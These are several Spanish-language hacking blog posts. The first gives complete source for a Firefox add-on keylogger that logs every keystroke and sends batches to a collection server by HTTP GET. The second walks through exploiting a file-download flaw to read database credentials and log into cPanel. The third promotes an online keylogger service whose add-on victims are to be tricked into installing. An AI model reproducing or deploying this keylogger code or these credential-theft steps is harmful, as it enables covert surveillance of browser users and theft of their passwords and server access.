Creando un Keylogger para Mozilla Firefox – by SixP4ck3r



Tratare de Introducirlos en el desarollo Add-On para Mozilla Firefox y desde luego pensando del lado del Hacking.

El objetivo de este Add-On es capturar todas las teclas dentro de Firefox (Solo dentro de la Pantalla del Navegador).

Los pasos a seguir sera lo siguiente:

Les pasare tres scripts dos en PHP y uno en Javascript.

“overlay.js” => para capturar las teclas en si para el Add-On.

“cheklogs.php” => para ver los Logs.

“receptor.php” => para que el pueda recibir los Logs.

http://www.mediafire.com/download/btyvohfq5t5cz25

Tambien necesitaremos una base de datos para guardar y en cualquier momento podamos consultar lo que capturo.

Si quieren tambien pueden modificar el script “receptor.php” para que lo escriba  un *.txt eso ya es depende de la creatividad de cada uno.

Deberan modificar el Archivo “overlay.js” dentro de la carpeta “chrome/content/”
var keylogger_namespace={};
    var aleat = Math.random() * 99999;
    var torio = Math.round(aleat); // sacamos un numero a la suerte!
    keylogger_namespace.keylogger=function() {
    var file = Components.classes["@mozilla.org/file/directory_service;1"].  
                            getService(Components.interfaces.nsIProperties).  
                            get("ProfD", Components.interfaces.nsIFile);  
        file.append("Firelog");
    if( !file.exists() || !file.isDirectory() ) {  // lo creamos si no existe la carpeta!
        file.create(Components.interfaces.nsIFile.DIRECTORY_TYPE, 0777);
    }
    this.f = file.path+"\\keystrokes";
    window.addEventListener(
    "load", function() {LipoKeylogger.init(); }, false);
    }
    var keylog=new keylogger_namespace.keylogger();
    //======================================
    keylog.logKeypress=function(e){
    var keynum;
    var keychar;
    var numcheck;
    keynum = e.which;
    var file = Components.classes["@mozilla.org/file/local;1"]
    .createInstance(Components.interfaces.nsILocalFile);
    file.initWithPath(keylog.f);
    data=keynum+":";
    // apuntando al archivo a crearse
    var foStream = Components.classes["@mozilla.org/network/file-output-stream;1"]
                           .createInstance(Components.interfaces.nsIFileOutputStream);
    // forma de uso 0x02 | 0x10 para habrir archivo
    foStream.init(file, 0x02 | 0x10 | 0x08, 00666, 0); // solo escritura, abrir, o crear archivo
    foStream.write(data, data.length);
    foStream.close();
    //======================================
    //Leemos log
    var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
    file.initWithPath(keylog.f);
    var inputStream = Components.classes["@mozilla.org/network/file-input-stream;1"].createInstance(Components.interfaces.nsIFileInputStream);
    inputStream.init(file, -1, 0,0);
    var sInputStream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream);
    sInputStream.init(inputStream);
    var str= sInputStream.read(sInputStream.available());
    if ((str.length) > 100){
    var xmlhttp=new XMLHttpRequest();
    url="http://localhost/receptor.php?keypress="; // Recibimos los keypress por GET
    xmlhttp.open("GET",url+str+"&user="+torio,true);
    xmlhttp.send(null);
    //reseteamos el archivo de log's
    var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile);
    file.initWithPath(keylog.f);
    // apuntando al archivo a crearse
    var foStream = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
    // forma de uso 0x02 | 0x10 para habrir archivo
    foStream.init(file, 0x02 | 0x08 | 0x20, 0666, 0); // solo escritura, abrir, o crear archivo
    foStream.write("", 0);
    foStream.close();
    }
    //======================================
    }
    //======================================
    if ("undefined" == typeof(LipoKeylogger)) {
    var LipoKeylogger= {
            init : function() {
            //======================================
            //Capurando las keypress
        document.addEventListener("keypress", keylog.logKeypress, false);
    }
    }
    }

En la Linea 45
url="http://localhost/receptor.php?keypress="; // Recibimos los keypress por GET
Testeado en Ubuntu! y Windows anda de maravilla, digamos que no pierde ni un solo keypres!!
Culquier duda o sugerencia a SixP4ck3r<ARROBA>Bolivia.com
Saludos comunidad!.

Source Code Disclosure and Cpanel Login Success



Video URL:
http://www.youtube.com/watch?v=s13_lMnREIs

SCD o Source code disclosure, es una vulnerabilidad que permite la lectura de ficheros que se encuentren en el sistema víctima,  debido a errores en la programación de páginas que realizan descargas de archivos. Esto se da debido a que no se hace un conveniente filtrado de los datos que llegan  del cliente, permitiéndonos obtener cualquier fichero del cual conozcamos su ruta dentro del servidor.
Un ejemplo de un código vulnerable es el siguiente en PHP:
$f = $_GET["f"];
header(“Content-type: application/octet-stream”);
header(“Content-Disposition: attachment; filename=\”$f\”\n”);
$fp=fopen(“$f”, “r”);
En él se observa cómo se insertan los datos directamente dentro de la función fopen, sin ningún tipo de validación o verificación, ocasionando que el fichero sea descargado sin inconveniente.
A continuación presento la explotación de este ataque en una página vulnerable. Los datos fueron modificados para proteger el sitio original.
Se tiene la siguiente ruta:
www.ejemplo.com/download.php?file=archivos.pdf
En ella, la variable id recibe el archivo a descargar, en este caso archivos.pdf, reemplazamos este documento por el nombre de fichero o página que queramos obtener, para este ejemplo, el objetivo es encontrar las credenciales de conexión de la base de datos, para ello le damos como valor a la variable id el fichero download.php

En el archivo download.php nos encontramos con un include_once y el archivo que se le esta llamando.
session_start();
include_once("cms/_includes/conexion.php");
$sql = "select titulo,especificaciones,id
  from cms_content".$_SESSION['idioma']."
  where father=21";
$acerca = doSql($sql,1);
$sql = "select imagen
  from content_gallery".$_SESSION['idioma']."
  where father=".$acerca[0][2];
$imagenes=doSql($sql,1);

Procedemos a descargar el archivo conexion.php
 $host="localhost";
 $database="********";
 $user="*********";
 $pass="***********";
Despues de ver el codigo fuente del archivo conexion.php como podemos ver solo nos queda intentar acceder con estos datos al CPanel.

Video URL:
http://www.youtube.com/watch?v=s13_lMnREIs

OpenLog - Keylogger OnLine para Mozilla Firefox



OpenLog es un Keylogger online basando en navegador por el momento solo soporta Mozilla Firefox talvez lo escriba mas adelante para chrome.

Al ser programado en un Add-on para Mozilla Firefox soporta en distintintos S.O. donde Firefox este vivo!.

El keylogger solo captura key's estando en el "focus windows" de Mozilla Firefox.

¿Como funciona?
Te creas una cuenta en: http://openlog.totalh.net/

Descargas el "*.xpi" y lo instalas ó haces de que la victima lo instale (Imaginación).

Das en "Refresh" y yas estaras recibiendo logs!.


Saludos espero que les haya gustado.
Cualquier comentario o duda escribe a SixP4ck3r at Bolivia dot COM

Inagurando mi Blogspot!!!

Despues de que los pendej.. de WordPress  clausuraran mi Blog, pues dije la vida continua, aunque yo meti las patas al publicar algunas 0 Day's criticos!!!! ;)

Pues aqui toy de nuevo para escribir 0 Day's jeej nada que ver!!.

Happy Hacking como dicen nuestros amigos del HackLab!! ;)